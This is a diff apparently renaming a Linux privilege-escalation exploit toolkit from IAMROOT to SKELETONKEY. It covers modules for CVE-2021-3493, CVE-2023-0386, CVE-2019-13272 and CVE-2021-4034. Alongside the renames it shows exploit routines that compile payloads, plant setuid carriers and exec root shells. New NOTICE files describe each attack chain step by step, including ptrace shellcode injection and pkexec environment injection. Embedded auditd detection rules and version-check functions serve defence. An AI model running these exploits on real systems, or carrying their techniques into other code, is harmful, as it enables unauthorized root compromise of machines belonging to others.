                fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
                                "userns overlayfs mount succeeded → VULNERABLE\n");
            }
-            return IAMROOT_VULNERABLE;
+            return SKELETONKEY_VULNERABLE;
        }
        if (probe == 0) {
            if (!ctx->json) {
                fprintf(stderr, "[+] overlayfs: active probe denied mount — "
                                "likely patched / AppArmor block\n");
            }
-            return IAMROOT_OK;
+            return SKELETONKEY_OK;
        }
        if (!ctx->json) {
            fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
                            "re-run with --active to confirm\n", v.release);
        }
-        return IAMROOT_VULNERABLE;
+        return SKELETONKEY_VULNERABLE;
    }
    if (!ctx->json) {
        fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
                        "affected range\n", v.release);
        fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
    }
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 /* ---- Exploit (vsh-style) ----------------------------------------
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
    return false;
 }

-static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* Re-confirm vulnerable. */
-    iamroot_result_t pre = overlayfs_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = overlayfs_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
        return pre;
    }
    if (geteuid() == 0) {
        fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

-    char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
-    if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
+    char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
+    if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
    if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);

    char gcc[256];
    if (!which_gcc(gcc, sizeof gcc)) {
        fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
        rmdir(workdir);
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    char src_path[1100], bin_path[1100];
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
    snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);

    int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
-    if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
+    if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
    if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
            != (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
-        close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
+        close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
    }
    close(fd);

@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
    if (ctx->no_shell) {
        fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
                upper_bin);
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
    }
    fflush(NULL);
    execl(upper_bin, upper_bin, (char *)NULL);
@@ -443,7 +443,7 @@ fail_workdir:
    unlink(src_path); unlink(bin_path); unlink(upper_bin);
    rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
    rmdir(workdir);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

 /* ----- Embedded detection rules ----- */
@@ -451,12 +451,12 @@ fail_workdir:
 static const char overlayfs_auditd[] =
    "# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
    "# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
-    "-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
-    "-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
+    "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
+    "-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
    "# Watch for security.capability xattr writes (the post-mount step)\n"
-    "-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
+    "-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";

-const struct iamroot_module overlayfs_module = {
+const struct skeletonkey_module overlayfs_module = {
    .name           = "overlayfs",
    .cve            = "CVE-2021-3493",
    .summary        = "Ubuntu userns-overlayfs file-capability injection → host root",
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_overlayfs(void)
+void skeletonkey_register_overlayfs(void)
 {
-    iamroot_register(&overlayfs_module);
+    skeletonkey_register(&overlayfs_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
+ */
+
+#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
+#define OVERLAYFS_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module overlayfs_module;
+
+#endif
@@ -0,0 +1,25 @@
+# NOTICE — overlayfs_setuid (CVE-2023-0386)
+
+## Vulnerability
+
+**CVE-2023-0386** — overlayfs `copy_up` preserves the setuid bit
+across mount-namespace boundaries → host root via a setuid carrier
+placed in the lower layer.
+
+## Research credit
+
+Discovered and disclosed by **Xkaneiki**, January 2023.
+
+Public PoC + writeup:
+<https://github.com/xkaneiki/CVE-2023-0386>
+
+Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
+Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
+
+## SKELETONKEY role
+
+Distro-agnostic — no per-kernel offsets, no race. Places a setuid
+binary in an overlay lower, mounts via fuse-overlayfs userns trick,
+executes from the upper layer to inherit the setuid bit + root euid.
+
+Auditd rules cover overlayfs mounts and unexpected setuid copy-ups.
@@ -1,12 +0,0 @@
-/*
- * overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook
- */
-
-#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
-#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module overlayfs_setuid_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * overlayfs_setuid_cve_2023_0386 — IAMROOT module
+ * overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
 *
 * **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
 * (their modified overlayfs). This one is upstream: when overlayfs
@@ -38,7 +38,7 @@
 * for any distro running 5.11-6.2 kernels. Container-escape relevant.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"

@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
    return NULL;
 }

-static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug introduced in 5.11 when ovl copy-up was generalized.
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
                            "(introduced in 5.11)\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    int userns_ok = can_unshare_userns_mount();
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    const char *target = find_setuid_in_lower();
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
        }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    if (!ctx->json) {
        fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Embedded payload + exploit ---------------------------------- */
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
    return ok;
 }

-static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = overlayfs_setuid_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
        return pre;
    }
    if (geteuid() == 0) {
        fprintf(stderr, "[i] overlayfs_setuid: already root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* Pick a setuid binary to use as the carrier — we'll find its
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
    const char *carrier = find_setuid_in_lower();
    if (!carrier) {
        fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    /* For cleanliness, use a directory-level overlay. Find the carrier's
     * dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
    char carrier_dir[256], carrier_name[64];
    const char *slash = strrchr(carrier, '/');
-    if (!slash) return IAMROOT_PRECOND_FAIL;
+    if (!slash) return SKELETONKEY_PRECOND_FAIL;
    size_t dir_len = slash - carrier;
    memcpy(carrier_dir, carrier, dir_len);
    carrier_dir[dir_len] = 0;
    snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);

-    char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX";
-    if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
+    char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
+    if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
    if (!ctx->json) {
        fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
                workdir, carrier);
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
    if (!which_gcc(gcc, sizeof gcc)) {
        fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
        rmdir(workdir);
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }

    /* Build the payload binary outside the overlay. */
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
    if (ctx->no_shell) {
        fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
                upper_carrier);
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
    }
    fflush(NULL);
    execl(upper_carrier, upper_carrier, (char *)NULL);
@@ -358,26 +358,26 @@ fail:
    unlink(src_path); unlink(bin_path);
    rmdir(upper); rmdir(work); rmdir(merged);
    rmdir(workdir);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

-static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    if (!ctx->json) {
-        fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n");
+        fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
    }
-    if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
-    return IAMROOT_OK;
+    if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
+    return SKELETONKEY_OK;
 }

 static const char overlayfs_setuid_auditd[] =
    "# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
-    "# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n"
-    "-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
-    "-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n";
+    "# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
+    "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
+    "-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";

-const struct iamroot_module overlayfs_setuid_module = {
+const struct skeletonkey_module overlayfs_setuid_module = {
    .name           = "overlayfs_setuid",
    .cve            = "CVE-2023-0386",
    .summary        = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_overlayfs_setuid(void)
+void skeletonkey_register_overlayfs_setuid(void)
 {
-    iamroot_register(&overlayfs_setuid_module);
+    skeletonkey_register(&overlayfs_setuid_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook
+ */
+
+#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
+#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module overlayfs_setuid_module;
+
+#endif
@@ -0,0 +1,27 @@
+# NOTICE — ptrace_traceme (CVE-2019-13272)
+
+## Vulnerability
+
+**CVE-2019-13272** — `PTRACE_TRACEME` on a parent that subsequently
+execve's a setuid binary leaves the now-elevated process traceable by
+the unprivileged child → cred escalation via ptrace shellcode inject.
+
+## Research credit
+
+Discovered by **Jann Horn** (Google Project Zero), June 2019.
+
+Project Zero issue: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1903>
+Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
+
+Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
+
+## SKELETONKEY role
+
+Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
+sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
+auto-selected) → child wins stale `ptrace_link` → POKETEXT x86_64
+shellcode → root sh.
+
+x86_64-only; ARM/other archs return PRECOND_FAIL cleanly. No exotic
+preconditions — doesn't need userns. Works on default-config systems
+including locked-down environments without unprivileged_userns_clone.
@@ -1,12 +0,0 @@
-/*
- * ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
- */
-
-#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
-#define PTRACE_TRACEME_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module ptrace_traceme_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * ptrace_traceme_cve_2019_13272 — IAMROOT module
+ * ptrace_traceme_cve_2019_13272 — SKELETONKEY module
 *
 * PTRACE_TRACEME on a parent that subsequently execve's a setuid
 * binary results in the kernel granting ptrace privileges over the
@@ -26,7 +26,7 @@
 * vulnerable.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"

@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
                      sizeof(ptrace_traceme_patched_branches[0]),
 };

-static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug existed since ptrace's inception (early 2.x); anything
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
                    v.release);
        }
-        return IAMROOT_VULNERABLE;
+        return SKELETONKEY_VULNERABLE;
    }

    bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
        fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
                        "(no user_ns required)\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

 /* ---- Exploit (jannh-style) --------------------------------------
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
 *      shellcode that exec's /bin/sh.
 *   10. C resumes P → root shell.
 *
- * IAMROOT implementation simplifies by using a small architecture-
+ * SKELETONKEY implementation simplifies by using a small architecture-
 * specific shellcode (x86_64 only) and pkexec as the setuid binary
 * trigger (works on most Linux systems with polkit installed). Falls
 * back to /bin/su if pkexec isn't available.
 *
 * Reliability: this exploit can fail-race on heavily-loaded systems.
 * Repeat invocations usually succeed; we don't loop here — operator
- * can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
+ * can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
 * on root acquired (followed by execlp(sh) which never returns).
 */

@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
    return NULL;
 }

-static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
 {
 #if !defined(__x86_64__)
    (void)ctx;
    fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
                    "(shellcode is arch-specific)\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 #else
-    iamroot_result_t pre = ptrace_traceme_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
        return pre;
    }
    if (geteuid() == 0) {
        fprintf(stderr, "[i] ptrace_traceme: already root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    const char *setuid_bin = find_setuid_target();
    if (!setuid_bin) {
        fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) {
        fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)

    /* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
    pid_t child = fork();
-    if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }

    if (child == 0) {
        /* CHILD: set up the ptrace_link, then pause until parent has
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
    perror("execve setuid");
    int status;
    waitpid(child, &status, 0);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 #endif
 }

@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
    "# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
    "# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
    "# a setuid binary. False positives: gdb, strace, debuggers.\n"
-    "-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
-    "-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
+    "-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
+    "-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";

-const struct iamroot_module ptrace_traceme_module = {
+const struct skeletonkey_module ptrace_traceme_module = {
    .name           = "ptrace_traceme",
    .cve            = "CVE-2019-13272",
    .summary        = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_ptrace_traceme(void)
+void skeletonkey_register_ptrace_traceme(void)
 {
-    iamroot_register(&ptrace_traceme_module);
+    skeletonkey_register(&ptrace_traceme_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
+ */
+
+#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
+#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module ptrace_traceme_module;
+
+#endif
@@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport).
  - Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster)
  - RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8)

-## IAMROOT detect logic (current)
+## SKELETONKEY detect logic (current)

 1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`)
-2. If not present → IAMROOT_OK (no attack surface)
+2. If not present → SKELETONKEY_OK (no attack surface)
 3. Run `pkexec --version` and parse version
 4. Compare to known-fixed thresholds; report VULNERABLE if below

@@ -0,0 +1,25 @@
+# NOTICE — pwnkit
+
+## Vulnerability
+
+**CVE-2021-4034** — pkexec argv[0]=NULL → environment-variable
+injection → arbitrary code execution as root.
+
+## Research credit
+
+Discovered and disclosed by the **Qualys Research Team**, January 2022.
+
+Original advisory:
+<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
+
+Upstream fix: polkit 0.121 (Jan 2022).
+
+## SKELETONKEY role
+
+The exploit module follows the canonical Qualys-style chain: writes
+payload.c + gconv-modules cache, compiles via the target's gcc,
+execve's pkexec with NULL argv and crafted envp. Handles both the
+legacy ("0.105") and modern ("126") polkit version string formats.
+Falls back gracefully on hosts without a compiler.
+
+This is SKELETONKEY's first **userspace** LPE — not a kernel bug.
@@ -1,12 +0,0 @@
-/*
- * pwnkit_cve_2021_4034 — IAMROOT module registry hook
- */
-
-#ifndef PWNKIT_IAMROOT_MODULES_H
-#define PWNKIT_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module pwnkit_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * pwnkit_cve_2021_4034 — IAMROOT module
+ * pwnkit_cve_2021_4034 — SKELETONKEY module
 *
 * STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit follows.
 *
@@ -13,15 +13,15 @@
 * embedded .so generator) is well-documented; landing it is a
 * follow-up commit.
 *
- * Pwnkit is the first USERSPACE LPE in IAMROOT — the rest of the
+ * Pwnkit is the first USERSPACE LPE in SKELETONKEY — the rest of the
 * corpus is kernel bugs. The module shape is identical (same
- * iamroot_module interface), but the affected-version check is
+ * skeletonkey_module interface), but the affected-version check is
 * package-version-based rather than kernel-version-based. core/
 * may eventually grow a `pkg_version` helper if a few more userspace
 * modules need it.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"

 #include <stdio.h>
@@ -74,14 +74,14 @@ static bool pkexec_version_vulnerable(const char *version_str)
    return min < 121;                /* 0.121 is the fix */
 }

-static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
 {
    const char *pkexec_path = find_pkexec();
    if (!pkexec_path) {
        if (!ctx->json) {
            fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
    if (!ctx->json) {
        fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
@@ -92,7 +92,7 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
    char cmd[512];
    snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
    FILE *p = popen(cmd, "r");
-    if (!p) return IAMROOT_TEST_ERROR;
+    if (!p) return SKELETONKEY_TEST_ERROR;

    char line[256] = {0};
    char *r = fgets(line, sizeof line, p);
@@ -101,12 +101,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
        }
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
    char *vp = strstr(line, "version");
-    if (!vp) return IAMROOT_TEST_ERROR;
+    if (!vp) return SKELETONKEY_TEST_ERROR;
    vp += strlen("version");
    while (*vp == ' ' || *vp == '\t') vp++;

@@ -124,12 +124,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[i] pwnkit: distro backports may have fixed lower-numbered versions;\n"
                            "    check `apt-cache policy policykit-1` / `rpm -q polkit` for the patch level\n");
        }
-        return IAMROOT_VULNERABLE;
+        return SKELETONKEY_VULNERABLE;
    }
    if (!ctx->json) {
        fprintf(stderr, "[+] pwnkit: pkexec version is ≥ 0.121 (fixed)\n");
    }
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 /* ---- Pwnkit exploit (canonical Qualys-style PoC) -----------------
@@ -203,29 +203,29 @@ static bool write_file_str(const char *path, const char *content)
    return ok;
 }

-static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* Re-confirm vulnerable before doing anything visible. */
-    iamroot_result_t pre = pwnkit_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = pwnkit_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n");
        return pre;
    }

    const char *pkexec = find_pkexec();
-    if (!pkexec) return IAMROOT_PRECOND_FAIL;
+    if (!pkexec) return SKELETONKEY_PRECOND_FAIL;

    if (geteuid() == 0) {
        fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* Working dir under /tmp. Permissive on permissions so pkexec
     * (running as root) can read everything inside. */
-    char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX";
+    char workdir[] = "/tmp/skeletonkey-pwnkit-XXXXXX";
    if (!mkdtemp(workdir)) {
        perror("mkdtemp");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir);

@@ -238,7 +238,7 @@ static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
            "    that's a future enhancement (multi-arch, distro-portable).\n"
            "    For now: install build-essential or run on a host with cc.\n");
        rmdir(workdir);
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
    }
    if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc);

@@ -339,22 +339,22 @@ fail:
    snprintf(path, sizeof path, "%s/payload.c", workdir);
    unlink(path);
    rmdir(workdir);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

-static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
